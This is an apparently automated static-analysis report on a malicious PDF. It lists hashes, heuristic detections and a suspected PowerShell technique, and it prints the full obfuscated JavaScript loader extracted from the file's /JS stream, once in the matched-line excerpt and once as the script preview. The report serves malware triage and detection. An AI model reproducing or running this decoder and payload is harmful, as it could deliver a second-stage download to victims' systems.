Malicious PDF — malware analysis report

Static analysis result for SHA-256 f9dce86d20e6a2e9…

MALICIOUS

PDF

3.7 KB First seen: 2026-05-10
MD5: 67f25f2ef5b1df8abd5af3da3fd58bd3 SHA-1: 37d6276fac760dba1fea2d46a7f47ea4f9a0ceca SHA-256: f9dce86d20e6a2e987e7448329fa189654f9be4996981bcd6d8937d2231520ac
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The embedded JavaScript file, 'javascript_obj111712_000.js', is likely responsible for malicious activity. The use of String.fromCharCode suggests obfuscation, common in malware delivery. The exact intent of the script cannot be fully determined due to obfuscation, but it is likely designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    czbmx="1*1=1H1[1e2c1c3P1a3d1_301]3-311M1X3]1T1U2U3+1P1Q2L2P1N2g3/1K3V1I2S2X1B1E2J1C2_3X1@3K1>3Y3^171:2Z18272[11143O122^2h1-1.242R1+2b2f0<0S0g3`0e2d0a0b3b3f0V0Y0]3G0Z2Y2e0W333E0T3.380G0P2a0N3S0L3Q0J3c0H373?0E2`0C3Z0A3R0?3W0=3I3[/i092O073L0304232Q013h0+0.3g0,3A3e/j3:3;/T/f3M/d3N/b3U/^/_2V2W/W/Z3T/X353@/U2T3=/R2]/P3_3a";ywbryr="j62:jW_bW]57@=2We]gL^`TC.X@WN2M*C,2LC/XN=2C_+U2D@Q@;:ULC+<2`N9*D=2+S8C,F4=2H:0VJb<iC+<*`N6_J6J0NON7//3N/2-U2+SfP:`ZS6L^`TC/PDCN2L5].@LC0JP6].@>^2;.=2B.LgMTM*C,2LgLZ<3N*OCP:+ …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111712_000.js pdf-javascript-stream PDF /JS object 111712 at offset 0x1E5 5428 bytes
SHA-256: 3928cac47530f066365b271845506023013ccac3f5bd6923b013a598e683827e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
czbmx="1*1=1H1[1e2c1c3P1a3d1_301]3-311M1X3]1T1U2U3+1P1Q2L2P1N2g3/1K3V1I2S2X1B1E2J1C2_3X1@3K1>3Y3^171:2Z18272[11143O122^2h1-1.242R1+2b2f0<0S0g3`0e2d0a0b3b3f0V0Y0]3G0Z2Y2e0W333E0T3.380G0P2a0N3S0L3Q0J3c0H373?0E2`0C3Z0A3R0?3W0=3I3[/i092O073L0304232Q013h0+0.3g0,3A3e/j3:3;/T/f3M/d3N/b3U/^/_2V2W/W/Z3T/X353@/U2T3=/R2]/P3_3a";ywbryr="j62:jW_bW]57@=2We]gL^`TC.X@WN2M*C,2LC/XN=2C_+U2D@Q@;:ULC+<2`N9*D=2+S8C,F4=2H:0VJb<iC+<*`N6_J6J0NON7//3N/2-U2+SfP:`ZS6L^`TC/PDCN2L5].@LC0JP6].@>^2;.=2B.LgMTM*C,2LgLZ<3N*OCP:+E-C/PFhN2L5]5H;6J,>+N2L3N++2P:>]?VK.;H:,<3N*@Za;CQ9C,2LgKSD3N2V4P:*b9C-?SF].h;U2;.=2,_+6KcS.]**<P:`dI6KPLTC146CN7H:U2+3.]*5BE24W^a:L3f2Wd.]3@,,].AEa:L2P:ZZ3C19*AN3e]C,2LC/NWf2OB252;GTC,2LC,3:a:L>7N66,@;^Z/d,5V^2;.=2+4bVJ,a0]1JFhN2LH]5H;6K.RE2e:252<`-C--*ONFg+H:Lf6].;.]*JUH]50OE2;.AN*NLC*/V7N@C^a:L2Y2Wd.]*3:0:L2P:..LC+=3@].;/d*32P:+E-C/PFhN2L5]0ORP:LZTC*-FhN7@O^2=`0C,2LC*@J3N9/2P:*,>]0Y5dN6_?=2d;M6KU]/C*32P:+E-C+?XH].;9C/Y2P;4Z:@:LfH].;.]00+52dc,gK9@=2;.=2VOYC.U++C,5W=2;.=2;40].<KVKKJ<]8H*Y2;GPC,2LC*3@hN*@Za:DQ9C,2QVLbN=2;40]8N,,].W:a:ZZ3C19*AN2X^6K.;6J24bVL[S@].;/d.XN=2V/EU2VD^6LaU<]87@+N2L3N2L3N2L3N2L3N2L3N2L3N2L3N2L3N>V>hN@4H4]4G>WN@;d6KcTLgJSG*C+A.=2RXJ@:?]K@;=`3C//YH]1S9H].:SH;<[=a;C1LVLJ=bVJSG0VLK?,VLOQYC-^=^@;Cd.]46S52H*?E2R`<a;U<3N+H+52,H+52cM<C-`M6]9<,e]*<,H]0OK<]76cP:L7F].;.]7@;U2=]hC,2LC+XT>]*@;U2=]hC,2LC-]*`N*DH+N5d]P;T]7C,HAU2;.=2`_-U2=]ZVK.;6K0MGC,h*WN2LH]-D;6K0MGC,h*WN2LH]52LC+XMD]*@;U2=]hC,2LC/P0`NGDDAN@REU2+C0VK95`N2L3NFR,@;_g,@:/]]gJ`*PVKcT_VL^.4]0D4D]56C52eA3U2;SLC1QJ@].;9C-<_=2O:4P:ETO6KLFAN2_QVKB:5C,2QVJ.N=27`]P:,]7C,HAU2;.=2CUM@:L5=2;.=2;.=2;.=2;.=2;.=2;.=2;.=2+3.]/e+E2;.hN@RLC-*@H]*JU*]*JJJVL^5+C,57U2*Q0C0W76].gg?N6eCU2WEM@:?]bVJR2UU2gZSP:?ZRU2;,XC/Y@WN///F]1QT+C/8>CN>A:52V?:U24S:52S]NVJSG5C-]2P;<O,VKd1UC1P>4]1J>WN2O5C-bT7C-^?/d1P>+N>*gP:L93WIj62:jW_WVjW_4EFKcTJ6Kd1LVMZF_4d//i-VLJG:Ad/*9/C-bT@]9,hSU2R1>D]9+`3f2g5e+f2R+d6KR8H=2DQT<].;RU2NL3WIj62:jW`dVjW_4EFKcTJ6Kd1LVMZF_4d//i-VLJG:Ad/*9/C-bT@]9,hSU2R1>D]9+`3f2g5e+f2R+d6KR8H=2DQT<].;Ta;3.=DjiB:KjESSVjW_4EFKcTJ6Kd1LVMZF_4d//i-VLJG:Ad/*9/C-bT@]9,hSU2R1>D]9+`3f2g5e+f2R+d6KR8H=2DQT<].;TP;3.=Di/+I9TML]+??`iTiG-0.9XfK+P/MSTQ,.PATKP.G-0.9X1M65UIALGg=[+F:CKBeDSZK,.-0.9X247N-0.9XI>c:Pd=K,+M,1b.E2062IF99M;jZO;GC`8c:CKC3]3cFiSZK+0I:2@:6B:idh=Pd=J>/giT853ZcBBaQ;]Q3TQ,.j62<iCIAcZJKJ[0]/VP./;+-+Q;^eQ,.j62=Q,7N<X=LF=LFI>c:QdK,0ee.2a;4cS.;.I>c:QdK,A0--10e2a<,a1g7F[_jW_VFiSZK9^,.9dIKP/NE3FB66FERH6ZXWhH3b[99TF2=gZK+P/NE2EUR:QG2eI]j-6524.<XD*8I>c:QdK,+M,1b.E3+E-i0XBe56L<<=2NNN/Jdh=K,+M,1b.E2/?AAeUd_6B:ifX.0B@8I>c:QdK,F8JYf[0]8gc=XN<X4;.;+[3]2EUR;h=K,+1,.Gj62=K_/j.E2Md81:Ag:A.cG+IbQ]F8JYcJR4.1=?8.2:Og]iY[K+-+SbZe,jSZ;VJBZKh[+:O[JZ[[XQ`8.3X>c:QdK,1IV.,08P.E3+E-i0XBe56K83^2=LF/Jdh=K,=5`:^,8QIV.,08P-[P/`YU[+F:RT?Y-SSbf+*KMSK+;VKbf+*KMSMid=K,IATM]-i1--0`bj[ZM,7N-[ZZ[W-i1--6dg5fc`:_e5,8GPQ[UY3^/JVfK5ciW8Cbf+*KMSPcFiS^FSZ4,iI?1/NX.T5i,G14FPTF58X2a<,a1g7F[_@C,,T,X:JTJUN24R4d,,T,RV19TFj62<cZBBcb;0]:@ZjKUP8QhXY-Q`8AP0X_6G^V;VKC`[+:O[JZ[[XQ`8DTUD08da2a<,a1g7F[_@C,,T,X:JTJT5+^eQ5^-G6.9TbWK0]H;h=KhZKJ[0]AP0eB2I?YE,,K5^-AD08da1M65UIAQ`8=5`:^,8eTUD08da1M65UIAL,cKhZKJZeETTWRBfQBJRa=??E:[b8^id=J?:ZaKMXGL7N`?@_6G^V99M;jZO;GC`8c:ic:ZBFiS^:[b8[0]DTUD08da1Q[Rjc<RXVeQF3TTWRBfQBH6ZXWhH3b<1b,0--Q`8=5`:^,8e08da1M65UIAL,K-fK-+L,cL?[<2L-SXKMXGL7N_6G^V:>3RBfQBJR:4RBE:[b8^id=Og]i2a:WNZJT22B6e8I>c.F2;aRMC.I3>:A.@>L9NT24,K+_aiCI=XTF.E3RBfQBJR<gZ`aKMXGQh]Q9^,.5Li2a;IS<O4>S<O4>S<O4>J*************************************************************************************************************************************************************************************************************************************1`8;h>69X.T5i,G/P/@;.,/QF2A/g8I>dX>c/+I9TML]?PI?F85G14FPTFj62:ZJJBMC,a=,,RJKJ^Rdh=K,?+.G7GF9e8c9-[ZZ[W-e^9S`ZcVG7>c:K,IP.3FB66FERMC25BIZ`^1=ib=:dh=K,.3iB:OfHUjC.-_i;VO[JZ[[XKc^,eb`cQI.giSZK,.j62:CKC0]3A/2L2K8e;ahY?jVL+eI24.<XD*8I>c:K,IP.2062IF;VN/V9cDdMRV]3336L<<:@-Q`8.2:JBZKh[0]+??`iTiG-0.9XfK+P/MQ`8.2:QdK,A@/Hgf`<Z;0]8SA3[83[8.fS.ULN;.:F<FL3A/2L2MeQ,.2:2c:MYdK,IbjPjQS>-.E2Md9fj^I^_T+L,cO`KAY8h>V.i=ijgbgh4JBJR4.1=?8.2:K,0..-=Yijgbgh4JDF.E2062IF:>3FB66FESh=K,.3X>c:K,IP.3hAehHQh+iB;VN/V9cDdMRV[3,ZFiSZK,.PATKP.GiUhHY=iJj61M65UIAL,cL?[<2JfeY`eh9e-gZJRa=eY`eh9e-g[h=K,.3hAehHQh+iB;VJVQ[cV24.iUhHY=iJj6I>c:K,0XX1h1F1KccBBaKhCQ_ecF@fhAehHQh+iB8I>c:Pd=Pd=KWg7/DRVgMC-AA-fKRU=RVhh=QdK,1jWb0.9C8LjQ=AA-jeP=0,GfB2I>F@9i8fjc<RXVe81gY0./IQ>1-Q`8+1,.Gj62<SW1]?./[-EcD4`;CcgCKGEegi<R>/+]Q7N`=P^C>.;_ai0LW>@I8eSZ957I6EEaLjYi,?AIE;]Q7P^C7>dVaE7QdK,-IWPbZ_?TL^db?8+jf+-eMLb`8E7P^FS^CXaE7P[=O:;1A;Yaad-WdY1A=jaaZ-KD5A;Y[Fa*HYZcF8>dVPTFaE4^9TX1/XMQ`8E7]Q0-1V3>.;_EhWWcHVFS^C7>dVaA,?/j+8MQ`8E7]Q0-1V3>.;``_jhWXJfHE[_jhWWcF8/RWG0j/^ZhD[Zd=P]DS^CVcF66E=Rdh=P^FS[J[f/8E3TQ/8E7Z";kvkmi=4876;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/bmypx/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(czbmx.length){bmypx.push((dqeoawx(czbmx.charCodeAt(0))<<(4+2))+dqeoawx(czbmx.charCodeAt(1))-(500+12));czbmx=czbmx.slice(2,czbmx.length)}cncvytj=gvfukt=czbmx=0;ytazf='';function dqeoawx(crcoyp){if(crcoyp>92)crcoyp--;return crcoyp-42}function cvdmdz(){if(czbmx==0){gvfukt=dqeoawx(ywbryr.charCodeAt(cncvytj++));czbmx=6;}return ((gvfukt>>--czbmx)&0x01);}while(kvkmi--){i=0;while(bmypx[i]<0){if(cvdmdz())i=-bmypx[i];else i++;}ytazf+=String.fromCharCode(bmypx[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.